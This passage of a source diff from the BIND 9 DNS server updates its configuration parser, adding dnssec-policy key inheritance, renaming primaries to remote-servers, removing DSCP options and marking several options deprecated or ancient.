+				cfg_obj_log(keys, logctx, ISC_LOG_ERROR,
+					    "dnssec-policy: algorithm %zu "
+					    "requires both KSK and ZSK roles",
+					    i);
+				result = ISC_R_FAILURE;
+			}
+			if (warn[i][0]) {
+				cfg_obj_log(keys, logctx, ISC_LOG_WARNING,
+					    "dnssec-policy: algorithm %zu has "
+					    "multiple keys with ZSK role",
+					    i);
+			}
+			if (warn[i][1]) {
+				cfg_obj_log(keys, logctx, ISC_LOG_WARNING,
+					    "dnssec-policy: algorithm %zu has "
+					    "multiple keys with KSK role",
+					    i);
+			}
+		}
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
+	} else if (default_kasp) {
+		dns_kasp_key_t *key, *new_key;
+		/*
+		 * If there are no specific keys configured in the policy,
+		 * inherit from the default policy (except for the built-in
+		 * "insecure" policy).
+		 */
+		for (key = ISC_LIST_HEAD(dns_kasp_keys(default_kasp));
+		     key != NULL; key = ISC_LIST_NEXT(key, link))
+		{
+			/* Create a new key reference. */
+			new_key = NULL;
+			result = dns_kasp_key_create(kasp, &new_key);
+			if (result != ISC_R_SUCCESS) {
+				goto cleanup;
+			}
+
+			if (dns_kasp_key_ksk(key)) {
+				new_key->role |= DNS_KASP_KEY_ROLE_KSK;
+			}
+			if (dns_kasp_key_zsk(key)) {
+				new_key->role |= DNS_KASP_KEY_ROLE_ZSK;
+			}
+			new_key->lifetime = dns_kasp_key_lifetime(key);
+			new_key->algorithm = dns_kasp_key_algorithm(key);
+			new_key->length = dns_kasp_key_size(key);
+			dns_kasp_addkey(kasp, new_key);
+		}
+	}
+
+	if (strcmp(kaspname, "insecure") == 0) {
+		/* "dnssec-policy insecure": key list must be empty */
+		INSIST(dns_kasp_keylist_empty(kasp));
+	} else if (default_kasp != NULL) {
+		/* There must be keys configured. */
 		INSIST(!(dns_kasp_keylist_empty(kasp)));
 	}
 
 	/* Configuration: NSEC3 */
 	(void)confget(maps, "nsec3param", &nsec3);
 	if (nsec3 == NULL) {
-		dns_kasp_setnsec3(kasp, false);
+		if (default_kasp != NULL && dns_kasp_nsec3(default_kasp)) {
+			dns_kasp_setnsec3param(
+				kasp, dns_kasp_nsec3iter(default_kasp),
+				(dns_kasp_nsec3flags(default_kasp) == 0x01),
+				dns_kasp_nsec3saltlen(default_kasp));
+		} else {
+			dns_kasp_setnsec3(kasp, false);
+		}
 	} else {
 		dns_kasp_setnsec3(kasp, true);
 		result = cfg_nsec3param_fromconfig(nsec3, kasp, logctx);
@@ -351,20 +644,6 @@ cfg_kasp_fromconfig(const cfg_obj_t *config, const char *name, isc_mem_t *mctx,
 		}
 	}
 
-	/* Configuration: Zone settings */
-	dns_kasp_setzonemaxttl(
-		kasp, get_duration(maps, "max-zone-ttl", DNS_KASP_ZONE_MAXTTL));
-	dns_kasp_setzonepropagationdelay(
-		kasp, get_duration(maps, "zone-propagation-delay",
-				   DNS_KASP_ZONE_PROPDELAY));
-
-	/* Configuration: Parent settings */
-	dns_kasp_setdsttl(kasp,
-			  get_duration(maps, "parent-ds-ttl", DNS_KASP_DS_TTL));
-	dns_kasp_setparentpropagationdelay(
-		kasp, get_duration(maps, "parent-propagation-delay",
-				   DNS_KASP_PARENT_PROPDELAY));
-
 	/* Append it to the list for future lookups. */
 	ISC_LIST_APPEND(*kasplist, kasp, link);
 	INSIST(!(ISC_LIST_EMPTY(*kasplist)));
diff --git a/lib/isccfg/log.c b/lib/isccfg/log.c
index f8449fc3a0..22979ef272 100644
--- a/lib/isccfg/log.c
+++ b/lib/isccfg/log.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,16 +21,13 @@
  * When adding a new category, be sure to add the appropriate
  * \#define to <isccfg/log.h>.
  */
-LIBISCCFG_EXTERNAL_DATA isc_logcategory_t cfg_categories[] = { { "config", 0 },
-							       { NULL, 0 } };
+isc_logcategory_t cfg_categories[] = { { "config", 0 }, { NULL, 0 } };
 
 /*%
  * When adding a new module, be sure to add the appropriate
  * \#define to <isccfg/log.h>.
  */
-LIBISCCFG_EXTERNAL_DATA isc_logmodule_t cfg_modules[] = {
-	{ "isccfg/parser", 0 }, { NULL, 0 }
-};
+isc_logmodule_t cfg_modules[] = { { "isccfg/parser", 0 }, { NULL, 0 } };
 
 void
 cfg_log_init(isc_log_t *lctx) {
diff --git a/lib/isccfg/namedconf.c b/lib/isccfg/namedconf.c
index cf2b67deb7..afe4f5fabd 100644
--- a/lib/isccfg/namedconf.c
+++ b/lib/isccfg/namedconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,12 +20,10 @@
 
 #include <isc/lex.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <dns/result.h>
 #include <dns/ttl.h>
 
 #include <isccfg/cfg.h>
@@ -86,11 +86,12 @@ static void
 cfg_doc_kv_tuple(cfg_printer_t *pctx, const cfg_type_t *type);
 
 static cfg_type_t cfg_type_acl;
-static cfg_type_t cfg_type_bracketed_dscpsockaddrlist;
 static cfg_type_t cfg_type_bracketed_namesockaddrkeylist;
 static cfg_type_t cfg_type_bracketed_netaddrlist;
 static cfg_type_t cfg_type_bracketed_sockaddrnameportlist;
-static cfg_type_t cfg_type_bracketed_qstring_list;
+static cfg_type_t cfg_type_bracketed_sockaddrtlslist;
+static cfg_type_t cfg_type_bracketed_http_endpoint_list;
+static cfg_type_t cfg_type_checkdstype;
 static cfg_type_t cfg_type_controls;
 static cfg_type_t cfg_type_controls_sockaddr;
 static cfg_type_t cfg_type_destinationlist;
@@ -109,17 +110,18 @@ static cfg_type_t cfg_type_logging;
 static cfg_type_t cfg_type_logseverity;
 static cfg_type_t cfg_type_logsuffix;
 static cfg_type_t cfg_type_logversions;
-static cfg_type_t cfg_type_primarieselement;
+static cfg_type_t cfg_type_remoteselement;
 static cfg_type_t cfg_type_maxduration;
 static cfg_type_t cfg_type_minimal;
 static cfg_type_t cfg_type_nameportiplist;
 static cfg_type_t cfg_type_notifytype;
 static cfg_type_t cfg_type_optional_allow;
 static cfg_type_t cfg_type_optional_class;
-static cfg_type_t cfg_type_optional_dscp;
 static cfg_type_t cfg_type_optional_facility;
 static cfg_type_t cfg_type_optional_keyref;
 static cfg_type_t cfg_type_optional_port;
+static cfg_type_t cfg_type_optional_sourceaddr4;
+static cfg_type_t cfg_type_optional_sourceaddr6;
 static cfg_type_t cfg_type_optional_uint32;
 static cfg_type_t cfg_type_optional_tls;
 static cfg_type_t cfg_type_options;
@@ -144,25 +146,16 @@ static cfg_type_t cfg_type_view;
 static cfg_type_t cfg_type_viewopts;
 static cfg_type_t cfg_type_zone;
 
-/*% tkey-dhkey */
-
-static cfg_tuplefielddef_t tkey_dhkey_fields[] = {
-	{ "name", &cfg_type_qstring, 0 },
-	{ "keyid", &cfg_type_uint32, 0 },
-	{ NULL, NULL, 0 }
-};
-
-static cfg_type_t cfg_type_tkey_dhkey = { "tkey-dhkey",	   cfg_parse_tuple,
-					  cfg_print_tuple, cfg_doc_tuple,
-					  &cfg_rep_tuple,  tkey_dhkey_fields };
-
 /*% listen-on */
 
 static cfg_tuplefielddef_t listenon_tuple_fields[] = {
 	{ "port", &cfg_type_optional_port, 0 },
-	{ "dscp", &cfg_type_uint32, 0 },
 	{ "tls", &cfg_type_astring, 0 },
+#if HAVE_LIBNGHTTP2
 	{ "http", &cfg_type_astring, 0 },
+#else
+	{ "http", &cfg_type_astring, CFG_CLAUSEFLAG_NOTCONFIGURED },
+#endif
 	{ NULL, NULL, 0 }
 };
 static cfg_type_t cfg_type_listen_tuple = {
@@ -182,6 +175,39 @@ static cfg_type_t cfg_type_listenon = { "listenon",	 cfg_parse_tuple,
 
 /*% acl */
 
+/*
+ * Encrypted transfer related definitions
+ */
+
+static cfg_tuplefielddef_t cfg_transport_acl_tuple_fields[] = {
+	{ "port", &cfg_type_optional_port, 0 },
+	{ "transport", &cfg_type_astring, 0 },
+	{ NULL, NULL, 0 }
+};
+static cfg_type_t cfg_transport_acl_tuple = {
+	"transport-acl tuple", cfg_parse_kv_tuple,
+	cfg_print_kv_tuple,    cfg_doc_kv_tuple,
+	&cfg_rep_tuple,	       cfg_transport_acl_tuple_fields
+};
+
+static cfg_tuplefielddef_t cfg_transport_acl_fields[] = {
+	{ "port-transport", &cfg_transport_acl_tuple, 0 },
+	{ "aml", &cfg_type_bracketed_aml, 0 },
+	{ NULL, NULL, 0 }
+};
+
+static cfg_type_t cfg_type_transport_acl = {
+	"transport-acl", cfg_parse_tuple, cfg_print_tuple,
+	cfg_doc_tuple,	 &cfg_rep_tuple,  cfg_transport_acl_fields
+};
+
+/*
+ * NOTE: To enable syntax which allows specifying port and protocol,
+ * replace 'cfg_type_bracketed_aml' with
+ * 'cfg_type_transport_acl'.
+ *
+ * Example: acl port 853 protocol tls { ... };
+ */
 static cfg_tuplefielddef_t acl_fields[] = { { "name", &cfg_type_astring, 0 },
 					    { "value", &cfg_type_bracketed_aml,
 					      0 },
@@ -191,28 +217,29 @@ static cfg_type_t cfg_type_acl = { "acl",	    cfg_parse_tuple,
 				   cfg_print_tuple, cfg_doc_tuple,
 				   &cfg_rep_tuple,  acl_fields };
 
-/*% primaries */
-static cfg_tuplefielddef_t primaries_fields[] = {
+/*% remote servers, used for primaries and parental agents */
+static cfg_tuplefielddef_t remotes_fields[] = {
 	{ "name", &cfg_type_astring, 0 },
 	{ "port", &cfg_type_optional_port, 0 },
-	{ "dscp", &cfg_type_optional_dscp, 0 },
+	{ "source", &cfg_type_optional_sourceaddr4, 0 },
+	{ "source-v6", &cfg_type_optional_sourceaddr6, 0 },
 	{ "addresses", &cfg_type_bracketed_namesockaddrkeylist, 0 },
 	{ NULL, NULL, 0 }
 };
 
-static cfg_type_t cfg_type_primaries = { "primaries",	  cfg_parse_tuple,
-					 cfg_print_tuple, cfg_doc_tuple,
-					 &cfg_rep_tuple,  primaries_fields };
+static cfg_type_t cfg_type_remoteservers = { "remote-servers", cfg_parse_tuple,
+					     cfg_print_tuple,  cfg_doc_tuple,
+					     &cfg_rep_tuple,   remotes_fields };
 
 /*%
  * "sockaddrkeylist", a list of socket addresses with optional keys
- * and an optional default port, as used in the primaries option.
+ * and an optional default port, as used in the remote-servers option.
  * E.g.,
- *   "port 1234 { myprimaries; 10.0.0.1 key foo; 1::2 port 69; }"
+ *   "port 1234 { myservers; 10.0.0.1 key foo; 1::2 port 69; }"
  */
 
 static cfg_tuplefielddef_t namesockaddrkey_fields[] = {
-	{ "primarieselement", &cfg_type_primarieselement, 0 },
+	{ "remoteselement", &cfg_type_remoteselement, 0 },
 	{ "key", &cfg_type_optional_keyref, 0 },
 	{ "tls", &cfg_type_optional_tls, 0 },
 	{ NULL, NULL, 0 },
@@ -234,7 +261,8 @@ static cfg_type_t cfg_type_bracketed_namesockaddrkeylist = {
 
 static cfg_tuplefielddef_t namesockaddrkeylist_fields[] = {
 	{ "port", &cfg_type_optional_port, 0 },
-	{ "dscp", &cfg_type_optional_dscp, 0 },
+	{ "source", &cfg_type_optional_sourceaddr4, 0 },
+	{ "source-v6", &cfg_type_optional_sourceaddr6, 0 },
 	{ "addresses", &cfg_type_bracketed_namesockaddrkeylist, 0 },
 	{ NULL, NULL, 0 }
 };
@@ -245,12 +273,12 @@ static cfg_type_t cfg_type_namesockaddrkeylist = {
 
 /*%
  * A list of socket addresses with an optional default port, as used
- * in the 'listen-on' option.  E.g., "{ 10.0.0.1; 1::2 port 69; }"
+ * in the 'forwarders' option.  E.g., "{ 10.0.0.1; 1::2 port 69; }"
  */
 static cfg_tuplefielddef_t portiplist_fields[] = {
 	{ "port", &cfg_type_optional_port, 0 },
-	{ "dscp", &cfg_type_optional_dscp, 0 },
-	{ "addresses", &cfg_type_bracketed_dscpsockaddrlist, 0 },
+	{ "tls", &cfg_type_optional_tls, 0 },
+	{ "addresses", &cfg_type_bracketed_sockaddrtlslist, 0 },
 	{ NULL, NULL, 0 }
 };
 static cfg_type_t cfg_type_portiplist = { "portiplist",	   cfg_parse_tuple,
@@ -317,9 +345,11 @@ static const char *matchtype_enums[] = { "6to4-self",
 					 "krb5-self",
 					 "krb5-selfsub",
 					 "krb5-subdomain",
+					 "krb5-subdomain-self-rhs",
 					 "ms-self",
 					 "ms-selfsub",
 					 "ms-subdomain",
+					 "ms-subdomain-self-rhs",
 					 "name",
 					 "self",
 					 "selfsub",
@@ -405,7 +435,7 @@ static void
 doc_updatepolicy(cfg_printer_t *pctx, const cfg_type_t *type) {
 	cfg_print_cstr(pctx, "( local | { ");
 	cfg_doc_obj(pctx, type->of);
-	cfg_print_cstr(pctx, "; ... }");
+	cfg_print_cstr(pctx, "; ... } )");
 }
 
 /*%
@@ -684,15 +714,6 @@ static cfg_type_t cfg_type_checknames = { "checknames",	   cfg_parse_tuple,
 					  cfg_print_tuple, cfg_doc_tuple,
 					  &cfg_rep_tuple,  checknames_fields };
 
-static cfg_type_t cfg_type_bracketed_dscpsockaddrlist = {
-	"bracketed_sockaddrlist",
-	cfg_parse_bracketed_list,
-	cfg_print_bracketed_list,
-	cfg_doc_bracketed_list,
-	&cfg_rep_list,
-	&cfg_type_sockaddrdscp
-};
-
 static cfg_type_t cfg_type_bracketed_netaddrlist = { "bracketed_netaddrlist",
 						     cfg_parse_bracketed_list,
 						     cfg_print_bracketed_list,
@@ -700,6 +721,15 @@ static cfg_type_t cfg_type_bracketed_netaddrlist = { "bracketed_netaddrlist",
 						     &cfg_rep_list,
 						     &cfg_type_netaddr };
 
+static cfg_type_t cfg_type_bracketed_sockaddrtlslist = {
+	"bracketed_sockaddrtlslist",
+	cfg_parse_bracketed_list,
+	cfg_print_bracketed_list,
+	cfg_doc_bracketed_list,
+	&cfg_rep_list,
+	&cfg_type_sockaddrtls
+};
+
 static const char *autodnssec_enums[] = { "allow", "maintain", "off", NULL };
 static cfg_type_t cfg_type_autodnssec = {
 	"autodnssec", cfg_parse_enum,  cfg_print_ustring,
@@ -746,13 +776,6 @@ static cfg_type_t cfg_type_rrsetorder = { "rrsetorder",
 					  &cfg_rep_list,
 					  &cfg_type_rrsetorderingelement };
 
-static keyword_type_t dscp_kw = { "dscp", &cfg_type_uint32 };
-
-static cfg_type_t cfg_type_optional_dscp = {
-	"optional_dscp",       parse_optional_keyvalue, print_keyvalue,
-	doc_optional_keyvalue, &cfg_rep_uint32,		&dscp_kw
-};
-
 static keyword_type_t port_kw = { "port", &cfg_type_uint32 };
 
 static cfg_type_t cfg_type_optional_port = {
@@ -804,11 +827,10 @@ static cfg_type_t cfg_type_forwardtype = {
 	cfg_doc_enum,  &cfg_rep_string, &forwardtype_enums
 };
 
-static const char *zonetype_enums[] = {
-	"primary",  "master",	       "secondary", "slave",
-	"mirror",   "delegation-only", "forward",   "hint",
-	"redirect", "static-stub",     "stub",	    NULL
-};
+static const char *zonetype_enums[] = { "primary", "master",   "secondary",
+					"slave",   "mirror",   "forward",
+					"hint",	   "redirect", "static-stub",
+					"stub",	   NULL };
 static cfg_type_t cfg_type_zonetype = { "zonetype",	   cfg_parse_enum,
 					cfg_print_ustring, cfg_doc_enum,
 					&cfg_rep_string,   &zonetype_enums };
@@ -1029,7 +1051,8 @@ parse_portrange(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 		CHECK(parse_port(pctx, &obj->value.tuple[0]));
 		CHECK(parse_port(pctx, &obj->value.tuple[1]));
 		if (obj->value.tuple[0]->value.uint32 >
-		    obj->value.tuple[1]->value.uint32) {
+		    obj->value.tuple[1]->value.uint32)
+		{
 			cfg_parser_error(pctx, CFG_LOG_NOPREP,
 					 "low port '%u' must not be larger "
 					 "than high port",
@@ -1052,7 +1075,7 @@ static cfg_type_t cfg_type_portrange = { "portrange", parse_portrange,
 					 NULL,	      cfg_doc_terminal,
 					 NULL,	      NULL };
 
-static cfg_type_t cfg_type_bracketed_portlist = { "bracketed_sockaddrlist",
+static cfg_type_t cfg_type_bracketed_portlist = { "bracketed_portlist",
 						  cfg_parse_bracketed_list,
 						  cfg_print_bracketed_list,
 						  cfg_doc_bracketed_list,
@@ -1109,12 +1132,19 @@ static cfg_clausedef_t namedconf_clauses[] = {
 	{ "acl", &cfg_type_acl, CFG_CLAUSEFLAG_MULTI },
 	{ "controls", &cfg_type_controls, CFG_CLAUSEFLAG_MULTI },
 	{ "dnssec-policy", &cfg_type_dnssecpolicy, CFG_CLAUSEFLAG_MULTI },
+#if HAVE_LIBNGHTTP2
 	{ "http", &cfg_type_http_description, CFG_CLAUSEFLAG_MULTI },
+#else
+	{ "http", &cfg_type_http_description,
+	  CFG_CLAUSEFLAG_MULTI | CFG_CLAUSEFLAG_NOTCONFIGURED },
+#endif
 	{ "logging", &cfg_type_logging, 0 },
 	{ "lwres", NULL, CFG_CLAUSEFLAG_MULTI | CFG_CLAUSEFLAG_ANCIENT },
-	{ "masters", &cfg_type_primaries, CFG_CLAUSEFLAG_MULTI },
+	{ "masters", &cfg_type_remoteservers,
+	  CFG_CLAUSEFLAG_MULTI | CFG_CLAUSEFLAG_NODOC },
 	{ "options", &cfg_type_options, 0 },
-	{ "primaries", &cfg_type_primaries, CFG_CLAUSEFLAG_MULTI },
+	{ "parental-agents", &cfg_type_remoteservers, CFG_CLAUSEFLAG_MULTI },
+	{ "primaries", &cfg_type_remoteservers, CFG_CLAUSEFLAG_MULTI },
 	{ "statistics-channels", &cfg_type_statschannels,
 	  CFG_CLAUSEFLAG_MULTI },
 	{ "tls", &cfg_type_tlsconf, CFG_CLAUSEFLAG_MULTI },
@@ -1137,7 +1167,7 @@ static cfg_clausedef_t namedconf_or_view_clauses[] = {
 	{ "trust-anchors", &cfg_type_dnsseckeys, CFG_CLAUSEFLAG_MULTI },
 	{ "trusted-keys", &cfg_type_trustedkeys,
 	  CFG_CLAUSEFLAG_MULTI | CFG_CLAUSEFLAG_DEPRECATED },
-	{ "zone", &cfg_type_zone, CFG_CLAUSEFLAG_MULTI },
+	{ "zone", &cfg_type_zone, CFG_CLAUSEFLAG_MULTI | CFG_CLAUSEFLAG_NODOC },
 	{ NULL, NULL, 0 }
 };
 
@@ -1165,16 +1195,23 @@ static cfg_type_t cfg_type_fstrm_model = {
 static cfg_clausedef_t options_clauses[] = {
 	{ "answer-cookie", &cfg_type_boolean, 0 },
 	{ "automatic-interface-scan", &cfg_type_boolean, 0 },
-	{ "avoid-v4-udp-ports", &cfg_type_bracketed_portlist, 0 },
-	{ "avoid-v6-udp-ports", &cfg_type_bracketed_portlist, 0 },
-	{ "bindkeys-file", &cfg_type_qstring, 0 },
+	{ "avoid-v4-udp-ports", &cfg_type_bracketed_portlist,
+	  CFG_CLAUSEFLAG_DEPRECATED },
+	{ "avoid-v6-udp-ports", &cfg_type_bracketed_portlist,
+	  CFG_CLAUSEFLAG_DEPRECATED },
+	{ "bindkeys-file", &cfg_type_qstring, CFG_CLAUSEFLAG_TESTONLY },
 	{ "blackhole", &cfg_type_bracketed_aml, 0 },
 	{ "cookie-algorithm", &cfg_type_cookiealg, 0 },
 	{ "cookie-secret", &cfg_type_sstring, CFG_CLAUSEFLAG_MULTI },
-	{ "coresize", &cfg_type_size, 0 },
-	{ "datasize", &cfg_type_size, 0 },
+	{ "coresize", &cfg_type_size, CFG_CLAUSEFLAG_ANCIENT },
+	{ "datasize", &cfg_type_size, CFG_CLAUSEFLAG_ANCIENT },
 	{ "deallocate-on-exit", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "directory", &cfg_type_qstring, CFG_CLAUSEFLAG_CALLBACK },
+#ifdef USE_DNSRPS
+	{ "dnsrps-library", &cfg_type_qstring, 0 },
+#else  /* ifdef USE_DNSRPS */
+	{ "dnsrps-library", &cfg_type_qstring, CFG_CLAUSEFLAG_NOTCONFIGURED },
+#endif /* ifdef USE_DNSRPS */
 #ifdef HAVE_DNSTAP
 	{ "dnstap-output", &cfg_type_dnstapoutput, 0 },
 	{ "dnstap-identity", &cfg_type_serverid, 0 },
@@ -1186,10 +1223,10 @@ static cfg_clausedef_t options_clauses[] = {
 	{ "dnstap-version", &cfg_type_qstringornone,
 	  CFG_CLAUSEFLAG_NOTCONFIGURED },
 #endif /* ifdef HAVE_DNSTAP */
-	{ "dscp", &cfg_type_uint32, 0 },
+	{ "dscp", &cfg_type_uint32, CFG_CLAUSEFLAG_ANCIENT },
 	{ "dump-file", &cfg_type_qstring, 0 },
 	{ "fake-iquery", NULL, CFG_CLAUSEFLAG_ANCIENT },
-	{ "files", &cfg_type_size, 0 },
+	{ "files", &cfg_type_size, CFG_CLAUSEFLAG_ANCIENT },
 	{ "flush-zones-on-shutdown", &cfg_type_boolean, 0 },
 #ifdef HAVE_DNSTAP
 	{ "fstrm-set-buffer-hint", &cfg_type_uint32, 0 },
@@ -1223,12 +1260,13 @@ static cfg_clausedef_t options_clauses[] = {
 #endif /* HAVE_GEOIP2 */
 	{ "geoip-use-ecs", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "has-old-clients", NULL, CFG_CLAUSEFLAG_ANCIENT },
-	{ "heartbeat-interval", &cfg_type_uint32, 0 },
+	{ "heartbeat-interval", &cfg_type_uint32, CFG_CLAUSEFLAG_DEPRECATED },
 	{ "host-statistics", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "host-statistics-max", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "hostname", &cfg_type_qstringornone, 0 },
 	{ "interface-interval", &cfg_type_duration, 0 },
-	{ "keep-response-order", &cfg_type_bracketed_aml, 0 },
+	{ "keep-response-order", &cfg_type_bracketed_aml,
+	  CFG_CLAUSEFLAG_OBSOLETE },
 	{ "listen-on", &cfg_type_listenon, CFG_CLAUSEFLAG_MULTI },
 	{ "listen-on-v6", &cfg_type_listenon, CFG_CLAUSEFLAG_MULTI },
 	{ "lock-file", &cfg_type_qstringornone, 0 },
@@ -1243,13 +1281,25 @@ static cfg_clausedef_t options_clauses[] = {
 	{ "pid-file", &cfg_type_qstringornone, 0 },
 	{ "port", &cfg_type_uint32, 0 },
 	{ "tls-port", &cfg_type_uint32, 0 },
+#if HAVE_LIBNGHTTP2
 	{ "http-port", &cfg_type_uint32, 0 },
+	{ "http-listener-clients", &cfg_type_uint32, 0 },
+	{ "http-streams-per-connection", &cfg_type_uint32, 0 },
 	{ "https-port", &cfg_type_uint32, 0 },
+#else
+	{ "http-port", &cfg_type_uint32, CFG_CLAUSEFLAG_NOTCONFIGURED },
+	{ "http-listener-clients", &cfg_type_uint32,
+	  CFG_CLAUSEFLAG_NOTCONFIGURED },
+	{ "http-streams-per-connection", &cfg_type_uint32,
+	  CFG_CLAUSEFLAG_NOTCONFIGURED },
+	{ "https-port", &cfg_type_uint32, CFG_CLAUSEFLAG_NOTCONFIGURED },
+#endif
 	{ "querylog", &cfg_type_boolean, 0 },
-	{ "random-device", &cfg_type_qstringornone, 0 },
+	{ "random-device", &cfg_type_qstringornone, CFG_CLAUSEFLAG_ANCIENT },
 	{ "recursing-file", &cfg_type_qstring, 0 },
 	{ "recursive-clients", &cfg_type_uint32, 0 },
-	{ "reserved-sockets", &cfg_type_uint32, 0 },
+	{ "reuseport", &cfg_type_boolean, 0 },
+	{ "reserved-sockets", &cfg_type_uint32, CFG_CLAUSEFLAG_ANCIENT },
 	{ "secroots-file", &cfg_type_qstring, 0 },
 	{ "serial-queries", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "serial-query-rate", &cfg_type_uint32, 0 },
@@ -1258,7 +1308,7 @@ static cfg_clausedef_t options_clauses[] = {
 	{ "session-keyfile", &cfg_type_qstringornone, 0 },
 	{ "session-keyname", &cfg_type_astring, 0 },
 	{ "sit-secret", NULL, CFG_CLAUSEFLAG_ANCIENT },
-	{ "stacksize", &cfg_type_size, 0 },
+	{ "stacksize", &cfg_type_size, CFG_CLAUSEFLAG_ANCIENT },
 	{ "startup-notify-rate", &cfg_type_uint32, 0 },
 	{ "statistics-file", &cfg_type_qstring, 0 },
 	{ "statistics-interval", NULL, CFG_CLAUSEFLAG_ANCIENT },
@@ -1270,7 +1320,7 @@ static cfg_clausedef_t options_clauses[] = {
 	{ "tcp-listen-queue", &cfg_type_uint32, 0 },
 	{ "tcp-receive-buffer", &cfg_type_uint32, 0 },
 	{ "tcp-send-buffer", &cfg_type_uint32, 0 },
-	{ "tkey-dhkey", &cfg_type_tkey_dhkey, 0 },
+	{ "tkey-dhkey", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "tkey-domain", &cfg_type_qstring, 0 },
 	{ "tkey-gssapi-credential", &cfg_type_qstring, 0 },
 	{ "tkey-gssapi-keytab", &cfg_type_qstring, 0 },
@@ -1281,10 +1331,13 @@ static cfg_clausedef_t options_clauses[] = {
 	{ "treat-cr-as-space", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "udp-receive-buffer", &cfg_type_uint32, 0 },
 	{ "udp-send-buffer", &cfg_type_uint32, 0 },
+	{ "update-quota", &cfg_type_uint32, 0 },
 	{ "use-id-pool", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "use-ixfr", NULL, CFG_CLAUSEFLAG_ANCIENT },
-	{ "use-v4-udp-ports", &cfg_type_bracketed_portlist, 0 },
-	{ "use-v6-udp-ports", &cfg_type_bracketed_portlist, 0 },
+	{ "use-v4-udp-ports", &cfg_type_bracketed_portlist,
+	  CFG_CLAUSEFLAG_DEPRECATED },
+	{ "use-v6-udp-ports", &cfg_type_bracketed_portlist,
+	  CFG_CLAUSEFLAG_DEPRECATED },
 	{ "version", &cfg_type_qstringornone, 0 },
 	{ NULL, NULL, 0 }
 };
@@ -1379,7 +1432,7 @@ static cfg_type_t cfg_type_mustbesecure = {
 	cfg_doc_tuple,	&cfg_rep_tuple,	 mustbesecure_fields
 };
 
-static const char *masterformat_enums[] = { "map", "raw", "text", NULL };
+static const char *masterformat_enums[] = { "raw", "text", NULL };
 static cfg_type_t cfg_type_masterformat = {
 	"masterformat", cfg_parse_enum,	 cfg_print_ustring,
 	cfg_doc_enum,	&cfg_rep_string, &masterformat_enums
@@ -1470,7 +1523,8 @@ parse_dtout(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 		if (pctx->token.type == isc_tokentype_string) {
 			CHECK(cfg_gettoken(pctx, 0));
 			if (strcasecmp(TOKEN_STRING(pctx), "size") == 0 &&
-			    obj->value.tuple[2] == NULL) {
+			    obj->value.tuple[2] == NULL)
+			{
 				CHECK(cfg_parse_obj(pctx, fields[2].type,
 						    &obj->value.tuple[2]));
 			} else if (strcasecmp(TOKEN_STRING(pctx), "versions") ==
@@ -1719,6 +1773,9 @@ cfg_doc_kv_tuple(cfg_printer_t *pctx, const cfg_type_t *type) {
 
 	fields = type->of;
 	for (f = fields; f->name != NULL; f++) {
+		if ((f->flags & CFG_CLAUSEFLAG_NODOC) != 0) {
+			continue;
+		}
 		if (f != fields) {
 			cfg_print_cstr(pctx, " [ ");
 			cfg_print_cstr(pctx, f->name);
@@ -1770,6 +1827,7 @@ static cfg_tuplefielddef_t rpz_zone_fields[] = {
 	{ "recursive-only", &cfg_type_boolean, 0 },
 	{ "nsip-enable", &cfg_type_boolean, 0 },
 	{ "nsdname-enable", &cfg_type_boolean, 0 },
+	{ "ede", &cfg_type_ustring, 0 },
 	{ NULL, NULL, 0 }
 };
 static cfg_type_t cfg_type_rpz_tuple = { "rpz tuple",	     cfg_parse_kv_tuple,
@@ -1820,7 +1878,9 @@ static cfg_type_t cfg_type_catz_zone = { "zone",	  parse_keyvalue,
 
 static cfg_tuplefielddef_t catz_zone_fields[] = {
 	{ "zone name", &cfg_type_catz_zone, 0 },
-	{ "default-masters", &cfg_type_namesockaddrkeylist, 0 },
+	{ "default-masters", &cfg_type_namesockaddrkeylist,
+	  CFG_CLAUSEFLAG_NODOC },
+	{ "default-primaries", &cfg_type_namesockaddrkeylist, 0 },
 	{ "zone-directory", &cfg_type_qstring, 0 },
 	{ "in-memory", &cfg_type_boolean, 0 },
 	{ "min-update-interval", &cfg_type_duration, 0 },
@@ -1968,7 +2028,7 @@ static cfg_clausedef_t view_clauses[] = {
 	{ "allow-v6-synthesis", NULL, CFG_CLAUSEFLAG_ANCIENT },
 	{ "attach-cache", &cfg_type_astring, 0 },
 	{ "auth-nxdomain", &cfg_type_boolean, 0 },
-	{ "cache-file", &cfg_type_qstring, 0 },
+	{ "cache-file", &cfg_type_qstring, CFG_CLAUSEFLAG_ANCIENT },
 	{ "catalog-zones", &cfg_type_catz, 0 },
 	{ "check-names", &cfg_type_checknames, CFG_CLAUSEFLAG_MULTI },
 	{ "cleaning-interval", NULL, CFG_CLAUSEFLAG_ANCIENT },
@@ -1996,7 +2056,7 @@ static cfg_clausedef_t view_clauses[] = {
 	{ "dnssec-lookaside", NULL,
 	  CFG_CLAUSEFLAG_MULTI | CFG_CLAUSEFLAG_ANCIENT },
 	{ "dnssec-must-be-secure", &cfg_type_mustbesecure,
-	  CFG_CLAUSEFLAG_MULTI },
+	  CFG_CLAUSEFLAG_MULTI | CFG_CLAUSEFLAG_DEPRECATED },
 	{ "dnssec-validation", &cfg_type_boolorauto, 0 },
 #ifdef HAVE_DNSTAP
